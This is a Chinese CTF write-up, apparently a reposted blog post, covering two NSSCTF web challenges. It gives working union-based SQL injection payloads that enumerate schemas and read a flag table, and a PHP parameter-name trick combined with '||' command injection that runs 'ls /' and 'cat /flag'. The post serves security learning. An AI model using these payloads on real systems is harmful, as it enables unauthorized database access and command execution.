NSSCTF-Web题目19(数据库注入、文件上传、php非法传参)

目录

[LitCTF 2023]这是什么?SQL !注一下 !

1、题目

2、知识点

3、思路

[SWPUCTF 2023 秋季新生赛]Pingpingping

4、题目

5、知识点

6、思路


[LitCTF 2023]这是什么?SQL !注一下 !

1、题目

2、知识点

数据库注入,联合查询

3、思路

首先,题目有提示我们参数为id,而且告诉我们闭合方式

先正常输入看看回显

加上闭合方式,?id=1))))))

结果没有回显,加上注释符

?id=1))))))--+

结果有正常回显,说明当前的闭合方式是正确的

使用联合查询语句 union select 

?id=1)))))) union select 1,2--+

这里有两个回显位置

1、接下来判断库名

?id=1)))))) union select 1,database()--+

得到当前的库名为ctf

2、判断表名,这里要用到group_concat函数,下面会用到concat_ws 或者concat函数,在这里一起说明

group_concat:将group by产生的同一个分组中的值连接起来,返回一个字符串结果,也就是将你要查询的那一列数据展示出来

concat:用于连接字符串的,concat(str1,'分隔符',str2,'分隔符',str3,...)

返回的结果为参数的结果并带有分隔符,

concat_ws:用于连接字符串的,concat('分隔符',str1,str2,str3,...)

这个函数的作用跟上面的concat一样,只不过这个函数可以提前定义好分隔符,不用每个变量后带'分隔符'

判断表名

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf' --+

这里的表只有一个,users

3、判断字段名

?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='users' --+

得到三个字段:id,username,password

4、判断值,看看有没有flag

得到所有的信息,发现flag是假的

现在的情况说明flag藏在其他库的表里

那怎么查看其他库名呢?

information_schema这个库就存了所有数据库的信息,里面的SCHEMATA表就存了所有库名

5、查找所有库名

?id=1)))))) union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA --+

接下来就是找库里的表,然后字段名、然后值,步骤跟上面一下

flag藏在ctftraining这个库里

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+

得到表名:flag,news,users

语句跟上面的类似,也就改一下值,有哪里不懂的欢迎来问我,我这里直接到最后一步

下面三句都可以得到flag 

?id=1)))))) union select 1,concat(flag) from ctftraining.flag --+

?id=1)))))) union select 1,concat_ws(',',flag) from ctftraining.flag --+

?id=1)))))) union select 1,flag from ctftraining.flag --+

得到flag:NSSCTF{76a62524-3666-4478-bf2e-3b231f43fbba}


[SWPUCTF 2023 秋季新生赛]Pingpingping

4、题目

5、知识点

RCE、PHP非法传参

6、思路

这里要我们上传Ping_ip.exe的值,上传后会执行系统命令,ping

1、我们先正常上传看看

结果没有任何反应

抓个包看看

在响应包里我们知道了php的版本为:PHP/7.4.33

这里涉及了一个知识点:php的非法传参:当变量名中出现空格时将被转换为下划线,当PHP版本小于8时,如果参数中出现中括号[,中括号会背转换成下划线_,但是中括号后的非法字符(也就是点和空格)不会被转化为下划线_

即原来我们的参数 Ping_ip.exe 上传后会被转化为 Ping_ip_exe

所以才没有结果,现在我们把_改成[ ,[会被转换成_,但后面的点就不会了

Ping[ip.exe ——> Ping_ip.exe

下面的报错信息没有了,说明我们成功执行了系统命令

接下来我们使用 管道符(||) 进行拼接命令

“||” 是一个管道操作符,它用于在命令行中执行多个命令,当前一个命令执行成功时,才会执行后一个命令。

?Ping[ip.exe=127.0.0.1 || ls /

?Ping[ip.exe=127.0.0.1 || cat /flag

得到flag:NSSCTF{9f2fdc0f-5bf4-455b-b211-1eebc2f0914e}


这篇文章就先写到这里了,哪里不懂的或者哪里不足的欢迎指出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/765678.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

全球首款商用,AI为视频自动配音配乐产品上线

近日,海外推出了一款名为Resona V2A的产品,这是全球首款商用视频转音频 (V2A) 技术产品。这项突破性技术利用AI,仅凭视频数据即可自动生成高质量、与上下文相关的音频,包括声音设计、音效、拟音和环境音,为电影制作人、…

【LeetCode】十、二分查找法:寻找峰值 + 二维矩阵的搜索

文章目录 1、二分查找法 Binary Search2、leetcode704:二分查找3、leetcode35:搜索插入位置4、leetcode162:寻找峰值5、leetcode74:搜索二维矩阵 1、二分查找法 Binary Search 找一个数,有序的情况下,直接…

从零开始实现大语言模型(二):文本数据处理

1. 前言 神经网络不能直接处理自然语言文本,文本数据处理的核心是做tokenization,将自然语言文本分割成一系列tokens。 本文介绍tokenization的基本原理,OpenAI的GPT系列大语言模型使用的tokenization方法——字节对编码(BPE, byte pair en…

Apache POI、EasyPoi、EasyExcel

目录 ​编辑 (一)Apache PoI 使用 (二)EasyPoi使用 (三)EasyExcel使用 写 读 最简单的读​ 最简单的读的excel示例​ 最简单的读的对象​ (一)Apache PoI 使用 (二&…

33 包装器

c11 也叫适配器。c中的function本质是一个类模板,也是一个包装器 为什么需要fuction呢? 当一个类型既可以是函数指针,也可以是仿函数和lambda比倒是,函数指针的类型不好理解,仿函数写起来麻烦,lambda无法拿…

2024年工程项目管理者的软件指南:11款必试进度管理工具

本文将分享11个值得关注的工程项目进度管理软件:Worktile、Fieldwire、Procore、Buildxact、InEight、Contractor Foreman、Housecall Pro、ClickUp、RedTeam Go、Visual Planning、B2W Schedule。 在竞争激烈的建筑行业,工程项目的进度管理是项目成功的…

Linux 实现自定义系统调用,支持参数和结果返回

本文实现一个简单的系统调用实现,支持输入字符串参数,并返回一个结果字符串。 以下是验证步骤: 1. 添加系统调用编号 试验使用的是 x86_64 架构的 Linux 内核。 找到并编辑 arch/x86/entry/syscalls/syscall_64.tbl 文件,在文件…

编写动态库

1.创建库.c .h文件 2.编写Makefile文件 3.make之后形成.so文件 4.make output,形成mylib 5.把mylib拷贝到test里面 mv mylib /test 6.编译 gcc main.c -I mylib/include -L mylib/lib -lmymethod形成a.out 但是直接执行会出现以下问题 很显然没有找到动态库 7.解决加载找不…

主干网络篇 | YOLOv8改进之引入YOLOv10的主干网络 | 全网最新改进

前言:Hello大家好,我是小哥谈。YOLOv10是由清华大学研究人员利用Ultralytics Python软件包开发的,它通过改进模型架构并消除非极大值抑制(NMS)提供了一种新颖的实时目标检测方法。这些优化使得模型在保持先进性能的同时,降低了计算需求。与以往的YOLO版本不同,YOLOv10的…

DFS练习

105 从前序与中序遍历序列构造二叉树 import java.util.HashMap; import java.util.Map;class TreeNode {int val;TreeNode left;TreeNode right;public TreeNode(int val) {this.val val;} }public class Letcode105 {public TreeNode bulidTree(int[] preOrder, int[] inOrd…

c++将一个复杂的结构体_保存成二进制文件并读取

在 C 中&#xff0c;可以将复杂的结构体保存到二进制文件中&#xff0c;并从二进制文件中读取它。为了实现这一点&#xff0c;你可以使用文件流库 <fstream>。以下是一个示例&#xff0c;展示如何将一个复杂的结构体保存到二进制文件中&#xff0c;并从二进制文件中读取它…

去中心化经济的革新:探索Web3的新商业模式

随着区块链技术的发展&#xff0c;Web3正逐渐成为全球经济和商业模式的关键词之一。Web3不仅仅是技术的革新&#xff0c;更是对传统中心化商业模式的挑战和重构。本文将深入探讨Web3背后的概念、关键技术以及其带来的新商业模式&#xff0c;带领读者走进这一新兴领域的深度分析…

python如何输出list

直接输出list_a中的元素三种方法&#xff1a; list_a [1,2,3,313,1] 第一种 for i in range(len(list_a)):print(list_a[i]) 1 2 3 313 1 第二种 for i in list_a:print(i) 1 2 3 313 1 第三种&#xff0c;使用enumerate输出list_a方法&#xff1a; for i&#xff0c;j in enum…

中日区块链“大比拼”!中国蚂蚁加大区块链押注资本!日本索尼进军加密货币市场!

科技巨头在区块链和加密货币领域的动作越来越频繁。近期&#xff0c;中国金融科技巨头蚂蚁集团进一步加大了在区块链业务上的投资&#xff0c;而日本电子科技巨头索尼集团则正式进军加密货币交易领域。这些举措反映了两国对于区块链和加密资产领域的不同态度和布局。 蚂蚁集团加…

游戏AI的创造思路-技术基础-关于艾宾浩斯遗忘曲线的迷思

对于艾宾浩斯遗忘曲线和函数&#xff0c;我一直都有小小的迷思&#xff0c;总想实验下用艾宾浩斯函数来替换sigmoid函数作为激活函数&#xff0c;打造更接近人类的AI算法&#xff0c;这篇文章旨在讨论下 目录 3.10. 艾宾浩斯曲线 3.10.1. 定义 3.10.1.1. 曲线计算公式 3.10…

【QT】常用控件|widget|QPushButton|RadioButton|核心属性

目录 ​编辑 概念 信号与槽机制 控件的多样性和定制性 核心属性 enabled geometry ​编辑 windowTiltle windowIcon toolTip styleSheet PushButton RadioButton 概念 QT 控件是构成图形用户界面&#xff08;GUI&#xff09;的基础组件&#xff0c;它们是实现与…

维护Nginx千字经验总结

Hello , 我是恒 。 维护putty和nginx两个项目好久了&#xff0c;用面向底层的思路去接触 在nginx社区的收获不少&#xff0c;在这里谈谈我的感悟 Nginx的夺冠不是偶然 高速:一方面&#xff0c;在正常情况下&#xff0c;单次请求会得到更快的响应&#xff1b;另一方面&#xff0…

深入解析:Java爬虫的本质是什么?

深入解析&#xff1a;Java爬虫的本质是什么&#xff1f; 引言&#xff1a; 随着互联网的快速发展&#xff0c;获取网络数据已成为许多应用场景中的重要需求。而爬虫作为一种自动化程序&#xff0c;能够模拟人类浏览器的行为&#xff0c;从网页中提取所需信息&#xff0c;成为了…

递归算法练习

112. 路径总和 package Tree;import java.util.HashMap; import java.util.Map;class TreeNode {int val;TreeNode left;TreeNode right;public TreeNode(int val) {this.val val;} }/*** 求 树的路径和* <p>* 递归 递减* <p>* 询问是否存在从*当前节点 root 到叶…

【Python】MacBook M系列芯片Anaconda下载Pytorch,并开发一个简单的数字识别代码(附带踩坑记录)

文章目录 配置镜像源下载Pytorch验证使用Pytorch进行数字识别 配置镜像源 Anaconda下载完毕之后&#xff0c;有两种方式下载pytorch&#xff0c;一种是用页面可视化的方式去下载&#xff0c;另一种方式就是直接用命令行工具去下载。 但是由于默认的Anaconda走的是外网&#x…